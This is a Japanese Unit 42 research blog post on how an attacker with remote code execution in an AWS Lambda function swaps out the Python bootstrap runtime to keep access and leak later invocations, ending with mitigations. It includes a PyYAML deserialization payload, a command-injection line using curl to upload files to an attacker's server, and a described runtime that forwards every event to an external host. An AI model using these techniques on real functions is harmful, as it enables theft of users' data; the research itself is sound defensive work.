[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/) Menu * [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42) * [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html) Japanese * [English](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/) * [Japanese](https://unit42.paloaltonetworks.com/ja/gaining-persistency-vulnerable-lambdas/) * [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ") * [クラウド サイバーセキュリティ リサーチ](https://unit42.paloaltonetworks.com/ja/category/cloud-cybersecurity-research-ja/ "クラウド サイバーセキュリティ リサーチ") [クラウド サイバーセキュリティ リサーチ](https://unit42.paloaltonetworks.com/ja/category/cloud-cybersecurity-research-ja/) # 脆弱性のあるLambdaでの永続性の確保 ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 3 分で読めます Related Products [![Prisma Cloud icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/prisma_RGB_logo_Icon_Color.png)Prisma Cloud](https://unit42.paloaltonetworks.com/ja/product-category/prisma-cloud-ja/ "Prisma Cloud") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) 著者: * [Yuval Avrahami](https://unit42.paloaltonetworks.com/ja/author/yuval-avrahami/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) 公開日:2019年9月2日 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) カテゴリー * [クラウド サイバーセキュリティ リサーチ](https://unit42.paloaltonetworks.com/ja/category/cloud-cybersecurity-research-ja/) * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) タグ: * [AWS](https://unit42.paloaltonetworks.com/ja/tag/aws-ja/) * [RCE](https://unit42.paloaltonetworks.com/ja/tag/rce-ja/) * [Remote Code Execution](https://unit42.paloaltonetworks.com/ja/tag/remote-code-execution-ja/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/gaining-persistency-vulnerable-lambdas/?pdf=download&lg=ja&_wpnonce=1f7a0335d5 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/gaining-persistency-vulnerable-lambdas/?pdf=print&lg=ja&_wpnonce=1f7a0335d5 "Click here to print") 共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=脆弱性のあるLambdaでの永続性の確保&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fgaining-persistency-vulnerable-lambdas%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fgaining-persistency-vulnerable-lambdas%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fgaining-persistency-vulnerable-lambdas%2F&title=脆弱性のあるLambdaでの永続性の確保 "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fgaining-persistency-vulnerable-lambdas%2F&text=脆弱性のあるLambdaでの永続性の確保 "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fgaining-persistency-vulnerable-lambdas%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=脆弱性のあるLambdaでの永続性の確保%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fgaining-persistency-vulnerable-lambdas%2F "Share in Mastodon") ## サーバレスセキュリティ 2014年にリリースされたAWS Lambdaは、現在広く採用されている**サーバーレスコンピューティング**という新たなクラウド実行モデルを世に送り出しました。それ以降、数多くの企業がAWS Lambdaおよび一般的なサーバーレスコンピューティング向けのセキュリティソリューションを提供し始めました。こうしたセキュリティプラットフォームでは、一般に以下が提供されます。 * 脆弱性スキャン - コードに既知の脆弱性が含まれていないことを確認(「ワンデイ」) * ランタイム保護 - 本番環境でゼロデイ脆弱性が悪用されるのを防ぐ **しかし、Lambda関数にリモートコード実行(RCE)脆弱性があることを見つけた場合、攻撃者は何ができるでしょうか。** 言い換えれば、ユーザーのハンドラまたは使用されているモジュールの1つにセキュリティ上の欠陥があった場合、攻撃者はこうした脆弱性を悪用して何ができるでしょうか。 Lambdaを使用してデータを処理および検証してからデータベースに挿入するという、一般的なユースケースを検討してみましょう。 [![図1 Lambdaを使用してデータを処理および検証してからデータベースに挿入する一般的なユースケースのフロー図](https://unit42.paloaltonetworks.com/wp-content/uploads//2019/10/lambda_poc_1_example-1024x574.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_1_example-1024x574.png) 図1 Lambdaを使用してデータを処理および検証してからデータベースに挿入する一般的なユースケースのフロー図 直観的な答えがいくつか頭に浮かびます。 * 攻撃者は脆弱性のあるLambdaを**実行リソース**として悪用し、仮想通貨マイニングなどに利用します。 * 攻撃者は、Lambdaが使用できるリソースへのアクセス権を持ちます。Lambdaは特定のDBへの書き込み権限を持つため、攻撃者も同じ権限を持つことになります。 これらは道理にかなった攻撃経路ですが、上記の例では、攻撃者はユーザーの個人情報に最も興味を持っているように見えます。ユーザーにとって幸いなことに、Lambdaは機密性の高いDBへの書き込み権限のみで適切に設定されています。 他の呼び出しはどうでしょうか? 呼び出しにはDBに指定されている新情報が含まれますが、攻撃者は何らかの方法で呼び出しにアクセスできるでしょうか? これが、私が実施した調査で答えを得ようとした質問です。端的に答えれば\*\*「はい」\*\*です。攻撃者は脆弱性のあるLambdaインスタンスにとどまり続け、他の呼び出しに対するアクセス権を取得できます。では、その方法についてみていきましょう。 ### Lambdaの基本 **Lambdaインスタンス** は、需要に応じて規模が拡大されます。3つの要求が同時に発生した場合、AWSはそれに応じてLambdaインスタンスの数を増やします。新しいLambdaインスタンスのスピンアップには時間がかかるため、新しいLambdaインスタンスが最初の要求を処理する際、その実行時間は非常に長くなります。これは、**コールドスタート**と呼ばれます。コールドスタートが頻繁に行われるのを避けるために、AWSは後続の要求を処理する間、Lambdaインスタンスをアクティブなままにします。私の経験では、インスタンスは通常、アクティブでない状態が10～15分続くと削除されます。 この実行モデルの重要なポイントの1つは、**Lambda呼び出しは互いに完全には切り離されない**という点です。Lambda呼び出しは、同じ実行環境で実行できますが、同時には実行できません。このことを念頭に置いて、この環境を詳しく調査しましょう。 ### Lambda環境の調査 Lambdaはいくつかのランタイムをサポートしており、最もよく使用されているのはPython 3.7とNode.js 10です。そのため、ここではPythonランタイムに焦点を当てていきます。 私はLambdaから自分のローカルマシンにリバースシェルを設定して、環境の調査を開始しようと考えました。しかし、すぐに、これは簡単ではないことに気づきました。リバースシェルには持続的な接続が必要ですが、Lambdaを数秒以上実行中し続けるにはコストがかかります。さらに、Lambdaは比較的短時間でタイムアウトになります(最長は15分)。 より適切なアプローチは、シェルコマンドごとにLambdaを再呼び出しすることです。この方法では、導入したLambdaが、受け取ったコマンドを実行して出力を返します。私は、これと同じ動作をするオープンソースツールをいくつか知っていますが、どれもあまり使いやすくはありません。そのほとんどがシェルインターフェイスを実装しておらず、私が必要と考える機能、つまり作業ディレクトリ(CWD)トラッキング、Lambdaとローカルマシン間のファイル転送、そして美しい色づかい(これは何よりも大切です)などをサポートしているツールは1つもありません。 ##### Splash そこで私は独自ツールを作ることにしました。こうして生まれたのが[SPLASH](https://github.com/twistlock/splash)です。SPLASHは**Splash Pseudo Lambda Shell**の略で、使用に必要な準備はsplashエージェントLEX(Lambda Executor)を実行するLambdaを導入してLambdaのアドレスでsplashを設定することだけです。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_3_splash-768x185.png) 私はSplashを使用して環境を調べ始めました。以下に、Lambdaで実行中のプロセスを示します。すべてのプロセスが、同じ権限のないユーザーとして実行されていることがわかります。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_4_psaux.png) Lambdaは、ある種のコンテナのような、隔離された環境で実行されています。これは、Lambdaで実行されているプロセスの[cgroup](https://man7.org/linux/man-pages/man7/cgroups.7.html)マッピングを調査することで確認できます。コントロールグループは、コンテナで使用されている主要な隔離技術の1つです。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_5_cgroups.png) cgroup名には、頭に「sandbox」が付いています。「sandbox」は、私がよく知っているどのコンテナエンジンとも一致しない接頭辞です(docker、podman、LXD、そして念のためにrktも確認しました)。コンテナエンジンの中には、カスタムのcgroupを設定するオプションを提供しているものもありますが、これはそうではないようです。独自仕様のコンテナエンジンを使用し、内部で[runC](https://github.com/opencontainers/runc)のようなオープンソースのコンテナランタイムを使用しているものと思われます。 次に、Lambdaで実行中の実行可能ファイルをダウンロードし、それらのリバースエンジニアリングを開始しました。 [![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_6_download-1024x93.png)](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_6_download-1024x93.png) 私が確認したのは、次のメインファイルです。 * /var/rapid/init -- Golangバイナリ、LambdaのPID 1 * /var/runtime/bootstrap.py -- Python3.7 Lambdaランタイム ### Lambda Python3.7アーキテクチャ ![図 筆者の考えた Lambda Python3.7インスタンスのアーキテクチャ](https://unit42.paloaltonetworks.com/wp-content/uploads//2019/10/lambda_poc_2_arch.png) 筆者の考えた Lambda Python3.7インスタンスのアーキテクチャ 最終的に、私は次のようなLambda Python3.7インスタンスのアーキテクチャを考えました。 1. initバイナリの「**slicer」** と呼ばれるコンテナ外部のプロセスが、共有メモリを介して**init**プロセスに呼び出しイベントを送信します。 2. initプロセスは(ハードコードされた)ポート9001上にHTTPサーバーを設定します。複数の公開されたエンドポイントも設定します。 1. /2018-06-01/runtime/invocation/next -- 次の呼び出しイベントを取得します 2. /2018-06-01/runtime/invocation/{invoke-id}/response -- 呼び出しに対するハンドラ応答を返します 3. /2018-06-01/runtime/invocation/{invoke-id}/error -- 実行エラーを返します 3. bootstrap.pyで、以下のループが**initプロセスに新規イベントを問い合わせ** てから、**ユーザーの関数を呼び出し** て処理します(ここでは、アップロードした要求ハンドラが実行されています)。![](https://unit42.paloaltonetworks.com/wp-content/uploads//2019/10/lambda_poc_7_bootstrap_4.png) 4. 次のいずれかのエンドポイントを介して、**ハンドラ応答がinitプロセスに戻されます** 。 1. /{invoke-id}/response -- ユーザーハンドラが正常に実行された場合 2. /{invoke-id}/error -- 呼び出しを処理中に例外が生成された場合 その後、initプロセスはこの応答をslicerに渡します。 bootstrap.pyがユーザーのコードをどのように呼び出すかに注目してください。子プロセスで実行するのではなく、外部のpythonモジュールとして呼び出します。すなわち、RCE脆弱性が含まれている可能性のあるユーザーコードを、ブートストラッププロセスの一部として実行します。 ##### その他のランタイム その他のLambdaランタイムについても、簡単に調べてみました。インタープリタベースのランタイム(NodeJS、ruby)は、ブートストラッププロセスがランタイムの言語(たとえば、rubyランタイムではbootstrap.rb)で記述されること以外は、Pythonランタイムとほぼ同じです。これらのランタイムの旧バージョン(NodeJS 8やPython 2.7など)はやや異なっており、ブートストラップと呼ばれる1つのプロセスのみを持ち、initプロセスが担当するタスクもこのプロセスが処理します。 他のランタイム(Golang、.net、Java)には、それぞれ独自の実装があります。 ### 計画 目標に戻りましょう。LambdaにRCEがある攻撃者は、特定の呼び出しでコードを実行しますが、後続の呼び出しで送信されたデータにアクセスしたいと考えます。**永続性**を確保する必要があるのです。 initプロセスまたはブートストラッププロセスを独自の悪意のあるバージョンに置き換えることができる場合、Lambdaインスタンスに送信されたすべてのイベントへのフルアクセス権を得ることができます。ブートストラッププロセスの方がより容易に置き換えられるように思えます。bootstrap.pyはPythonスクリプトで、initのようなGolangバイナリよりも簡単に模倣し、変更することができるためです。 次に、実験に使用する、脆弱性のあるLambdaが必要です。 ### 標的のLambda ![](https://unit42.paloaltonetworks.com/wp-content/uploads//2019/10/lambda_poc_8_targetLambda_1.png) Lambdaの導入には、[yaml](https://pyyaml.org/)モジュールv3.13がパックされています。残念なことに、このバージョンには yaml.load() 関数のコード実行脆弱性([CVE-2017-18432](https://nvd.nist.gov/vuln/detail/CVE-2017-18342))が含まれています次に、この脆弱性を悪用して1000 + 337を計算し、次の結果を出力するペイロードの例を示します。 !!python/object/new:exec \[ "result = 1000 + 337; print('Output: ' + str(result))" \] |---|---------------------------------------------------------------------------------------| | 1 | !!python/object/new:exec \[ "result = 1000 + 337; print('Output: ' + str(result))" \] | これをLambdaに送信してログを表示すると、ペイロード内のコードが実行されたことがわかります(Lambdaの出力はCloudWatchログに転送されます)。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_9_logs.png) 1行だけのペイロードは記述したくなかったため、小さいプログラム[create\_evil\_yaml.py](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/create_evil_yaml.py)を記述しました。このプログラムは、Pythonスクリプトを取得して有効なペイロードに転送します。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_xxx_createevilyaml-768x60.png) create\_evil\_yaml.pyはデータファイルも取得し、ペイロードとともに不正なyamlファイルに挿入します。ペイロードの実行時には、このデータを不正なyamlファイルで external\_data\_b64 という変数として利用できます。 ### ランタイムの置換 脆弱性のあるLambdaを準備できたので、ブートストラッププロセスを置換する計画を実行します。新しいランタイムを含むyamlペイロードを作成し、Lambdaにあるファイルに書き込み、 [os.execv](https://docs.python.org/3/library/os.html#os.execv) を呼び出してブートストラップを置き換えます。以下に、[switch\_rutime.py](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)のコードを示します。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_10_switchruntime-1024x613.png) switch\_runtime.pyはまず、 external\_data\_b64 から新しいランタイムをデコードします。次に、Lambdaの /tmp ディレクトリが書き込み可能かどうかを確認し、書き込み可能な場合は /tmp ディレクトリに新しいランタイムを書き込みます。書き込み可能でない場合は、 [memfd\_create](https://man7.org/linux/man-pages/man2/memfd_create.2.html) syscallを使用して、ファイルシステムではなくメモリ内にランタイムファイルを作成します。その後、ペイロードは os.execv を呼び出して、ブートストラッププロセスを新しいランタイムに置き換えます。 ご覧のように、switch\_runtime.pyは新しいランタイムに1つの引数 invoke\_idを渡します。新しいランタイムをinitプロセスに再接続するには、この引数が必要です。なぜ必要かを理解するために、initプロセスとブートストラッププロセスが通常、互いにどのようにやり取りするかを見てみましょう。 [![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_11_regComm-768x333.png)](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_11_regComm-768x333.png) 新しいランタイムは、このパターンの中頃で実行を開始します。 [![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_12_evilComm-768x346.png)](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_12_evilComm-768x346.png) このため、次のイベントを要求する前に、新しいランタイムが、そのランタイムを生成したイベントの応答を返す必要があります。そのためには、ランタイムがそのイベントのinvoke idを持つ必要があります。応答エンドポイントURLは /${invoke-id}/response であるためです。 switch\_runtime.pyはブートストラッププロセスのコンテキストで実行されるため、bootstrap.pyの \_GLOBAL\_AWS\_REQUEST\_ID 変数からinvoke idを抽出できます。これは、[inspect](https://docs.python.org/3/library/inspect.html) Pythonモジュールを使用して行われるため、プロセスのスタックを調べて、スタックに保存されているデータにアクセスできます。 これで、switch\_runtime.pyは準備できました。残りの作業は新しいランタイムを記述するだけです! ##### Twistランタイム [twist\_runtime.py](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/twist_runtime.py)は、元のbootstrap.pyをコピーして、いくつかの変更を加えたものです。 1. ランタイムは起動時に、引数として受け取った invoke\_id を使用して、initプロセスに疑似応答を送信します。 2. ランタイムが受け取った各イベントは、外部サーバーに送信された後、ユーザーのハンドラに渡されます。 3. また、ランタイムは各Lambda応答に短いメッセージを追加します(以下のビデオで確認できます)。 ### 後続の呼び出しの漏洩のPoC すべてをまとめたPoCビデオを以下に示します。ビデオでは、[sendYamlData.py](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/sendYamlData.py)を使用してLambdaにyamlファイルを送信し、応答を出力しています。 以下に、攻撃の流れを示します。 ##### [![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_13_attackflow-1024x716.png)](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_13_attackflow-1024x716.png)一時的な環境での永続性 Lambdaインスタンスを侵害すると、Lambdaインスタンスへのすべての要求をランタイムで表示できるようになります。むろん、侵害されたインスタンスが頻繁に要求を受信しない場合、インスタンスはAWSによって削除されます。また、複数の要求が同時にLambdaに送信される場合、その一部は他のインスタンスに転送されます。 巧妙な攻撃者は、何らかのトリックを使ってよりよい足掛かりを得て、Lambdaへの要求のほとんどを抽出できてしまいます。以下に例を示します。 * 攻撃者はLambdaに要求を送信することで、攻撃者のLambdaインスタンスを定期的に「ウォームアップ」できます。この要求タイプに対して異なる応答をするようにランタイムを変更し、まだアクティブであることを知らせることもできます。 * 攻撃者は同時ペイロードを送信することで、いくつかのLambdaインスタンスを乗っ取ることもできます。 ##### ステルス性 他の攻撃と同様に、検出されずにいることも問題になります。現在、ランタイムを置き換えるペイロードを実行するのに約2秒かかります。Lambdaの通常の実行時間と比べて、かなり長い時間がかかるわけです。ただし、この時間は、bootstrap.pyからコピーされた不要な初期化ロジックを削除することで短縮できます。反対に、実行時間が長いためにコールドスタートと間違われることで、攻撃を隠すこともできます。 頭の切れる攻撃者は関数の通常の動作や出力を学習し、CloudWatchログを使用して防御者を混乱させ、攻撃を覆い隠すこともできます。 ### 外部プロセスRCE 攻撃者は yaml.load() 脆弱性を利用し、コードを脆弱性のあるプロセスの一部として実行できます。他方、ペイロードを外部プロセスとして実行するエクスプロイトは多数あります。要求の本文(Base64でエンコード済み)を返す、以下の脆弱なLambdaを考えてみましょう。 ![](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_14_externalRCE-768x188.png) 攻撃者はこのLambdaを悪用して、任意のコマンドを送信し、コマンドは外部シェルプロセスで実行されます。たとえば、 "; curl -f "@/some/path" {our-server-ip}:{port};" を送信して、Lambdaから攻撃者のサーバーにファイルをアップロードできます。 このタイプのRCE脆弱性を使用してLambdaのランタイムを乗っ取ることは**可能** ですが、使用するペイロードにいくつかの変更を加える必要があります。このペイロードは外部プロセスで実行されるため、inspectモジュールを使用してinvoke idを抽出することはできません。代わりに、 /proc/${bootstrap-pid}/mem を介してブートストラップのメモリを直接読み取って、regexを使用してinvoke id形式と一致するバイトシーケンスを探す必要があります。また、ペイロードは古いブートストラッププロセスを強制終了または停止する必要があります。 ほかにもいくつか、小規模な調整があります。興味のある方のために、上記の脆弱性のあるbase64 Lambdaを使用して、小さいPoCを作成しました。[こちら](https://github.com/twistlock/lambda-persistency-poc/tree/master/external_process_poc)から入手できます。 ### 結論 私が強調したいのは、このブログで示した攻撃はAWSの脆弱性ではないという点です。AWS Lambdaは共有責任モデルに従っており、コードに脆弱性がある場合は、AWSに関する限り、ユーザーの責任です。その後、AWSで手順を実行して、ランタイムからユーザーコードを切り離すことはできます。たとえば、ユーザーコードを別のプロセスで実行したり、Lambdaインスタンス内で別の権限で実行したりできますが、こうした手順の多くは、Lambdaの主な利点であるスピードを損ねる可能性があります。 私が推奨する、大きなトラブルなしで実装できる手順の1つは、[ptrace scope](https://www.kernel.org/doc/Documentation/security/Yama.txt)を /proc/sys/kernel/yama/ptrace\_scope で「2」 ('admin access')に設定することです。この設定により、Lambda内部のptraceオペレーションが無効になり、 /proc/{bootstrap-pid}/mem へのアクセスが拒否され、外部プロセスによる攻撃を防ぐことができます。 開発者は、サーバーレスは何もしなくても安全だと誤解するかもしれません。そして、その主な原因は、サーバーレスには一次的に実行されるに過ぎないという特性があるからです。しかし、そうではありません。ここに示したPoCでは、そのことを強調しています。呼び出しは互いに完全には切り離されてはいないため、悪意のある攻撃者にとって、脆弱性のあるLambdaは実行リソース以上の存在になり得る可能性があります。Lambdaインスタンスを完全に制御することで、攻撃者は他の呼び出しにアクセスして、Lambdaの動作を変更し、個人情報を漏洩させることができます。 ここでは、Python 3.7 の Lambdaランタイムに焦点を当てましたが、このタイプの乗っ取り攻撃は多くの場合、他のランタイムでも十中八九成功します。すべてのランタイムは同じ実行デザインを共有し、ユーザーコードは呼び出し側のランタイムと同じ権限で実行されます。端的に言うと、脆弱性のあるユーザーコードはランタイムも危険にさらします。 全体的に見て、サーバーレス関数は、コードが比較的小規模であるという利点があるため、適切な配慮がなされれば保護しやすいものとなっています。 ### Twistlock（現Prisma Cloud）の保護 TwistlockのサーバーレスDefenderは、次の3つの点でPoC攻撃を防ぎます。 * 脆弱性のあるYAMLパッケージを識別して、ユーザーに修正済バージョンへの更新を促します。 * 読み取り専用と定義されているLambdaの場合、Defenderはswitch\_runtime.pyがLambdaの /tmp ディレクトリに新しいランタイムを書き込むのを拒否します。 * Defenderはswitch\_runtime.pyで os.execv 呼び出しを停止します。 むろん、Twistlock Consoleでも、この疑わしいアクティビティに関するアラートが生成されます。 大変長いブログでしたが、Lambdaのセキュリティリスクについて理解を深めていただけたことと思います。ご質問がございましたら、電子メールまたは[@unit42\_intel](https://twitter.com/unit42_intel)でお気軽にご連絡ください。 トップに戻る ### タグ * [AWS](https://unit42.paloaltonetworks.com/ja/tag/aws-ja/ "AWS") * [RCE](https://unit42.paloaltonetworks.com/ja/tag/rce-ja/ "RCE") * [Remote Code Execution](https://unit42.paloaltonetworks.com/ja/tag/remote-code-execution-ja/ "Remote Code Execution") [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:Windows CVE-2019-0708（BlueKeep）エクスプロイト解説：RDP PDUを使用してカーネルにデータを書き込む3つの方法](https://unit42.paloaltonetworks.com/ja/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ "Windows CVE-2019-0708（BlueKeep）エクスプロイト解説：RDP PDUを使用してカーネルにデータを書き込む3つの方法") ### 関連記事 * [BeyondTrustの深刻な脆弱性（CVE-2026-1731）の悪用においてVShellおよびSparkRATを確認](https://unit42.paloaltonetworks.com/ja/beyondtrust-cve-2026-1731/ "article - table of contents") * [野放し状態で悪用されているIvanti EPMMの深刻な脆弱性](https://unit42.paloaltonetworks.com/ja/ivanti-cve-2026-1281-cve-2026-1340/ "article - table of contents") * [React Server Components における重大な脆弱性の悪用 (12月12日更新)](https://unit42.paloaltonetworks.com/ja/cve-2025-55182-react-and-cve-2025-66478-next/ "article - table of contents") ## 関連項目 リソース ![Pictorial representation of autonomous AI attack in cloud environments.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/12_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年4月23日 [#### AIはクラウドを攻撃できるのか?自律型クラウド攻撃型マルチエージェント システムの構築から得られた教訓](https://unit42.paloaltonetworks.com/ja/autonomous-ai-cloud-attacks/) * [AI](https://unit42.paloaltonetworks.com/ja/tag/ai-ja/ "AI") * [Cloud](https://unit42.paloaltonetworks.com/ja/tag/cloud-ja/ "Cloud") * [Data exfiltration](https://unit42.paloaltonetworks.com/ja/tag/data-exfiltration-ja/ "data exfiltration") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/autonomous-ai-cloud-attacks/ "AIはクラウドを攻撃できるのか?自律型クラウド攻撃型マルチエージェント システムの構築から得られた教訓") ![Close-up of a black woman with glasses examining colorful computer code on a screen. The scene is illuminated by various lights, creating a focused and analytical atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/13_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年2月6日 [#### クラウド脅威アクターの活動を検出する新しい手法](https://unit42.paloaltonetworks.com/ja/tracking-threat-groups-through-cloud-logging/) * [API](https://unit42.paloaltonetworks.com/ja/tag/api-ja/ "API") * [IAM](https://unit42.paloaltonetworks.com/ja/tag/iam-ja/ "IAM") * [MITRE](https://unit42.paloaltonetworks.com/ja/tag/mitre-ja/ "MITRE") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-threat-groups-through-cloud-logging/ "クラウド脅威アクターの活動を検出する新しい手法") ![Pictorial representation of Azure OpenAI DNS resolution issue. Futuristic cityscape illustration with luminous structures and floating cloud elements, showcasing advanced technology and a dynamic, digitally enhanced environment.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/06/02_DNS_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月20日 [#### DNS OverDoS: プライベート エンドポイントはプライベートすぎるのか？](https://unit42.paloaltonetworks.com/ja/dos-attacks-and-azure-private-endpoint/) * [Microsoft Azure](https://unit42.paloaltonetworks.com/ja/tag/microsoft-azure-ja/ "Microsoft Azure") * [Networking](https://unit42.paloaltonetworks.com/ja/tag/networking/ "networking") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/dos-attacks-and-azure-private-endpoint/ "DNS OverDoS: プライベート エンドポイントはプライベートすぎるのか？") ![Pictorial representation of cloud discovery with AzureHound. A digital representation of a cloud composed of blue light particles, superimposed over a blurred background of server racks in a data center.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/10/08_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年10月24日 [#### AzureHoundを使用したクラウド ディスカバリ](https://unit42.paloaltonetworks.com/ja/threat-actor-misuse-of-azurehound/) * [Control plane](https://unit42.paloaltonetworks.com/ja/tag/control-plane-ja/ "control plane") * [Curious Serpens](https://unit42.paloaltonetworks.com/ja/tag/curious-serpens-ja/ "Curious Serpens") * [Data plane](https://unit42.paloaltonetworks.com/ja/tag/data-plane-ja/ "data plane") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/threat-actor-misuse-of-azurehound/ "AzureHoundを使用したクラウド ディスカバリ") ![Pictorial representation of a gift card fraud campaign. A glowing skull and crossbones on a circuit board.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/10/07_Cybercrime_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年10月22日 [#### Jingle Thief: クラウドベースのギフトカード詐欺キャンペーンの実態](https://unit42.paloaltonetworks.com/ja/cloud-based-gift-card-fraud-campaign/) * [CL‑CRI‑1032](https://unit42.paloaltonetworks.com/ja/tag/cl-cri-1032-ja/ "CL‑CRI‑1032") * [Microsoft](https://unit42.paloaltonetworks.com/ja/tag/microsoft-ja/ "Microsoft") * [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing") [今すぐ読む ![Right 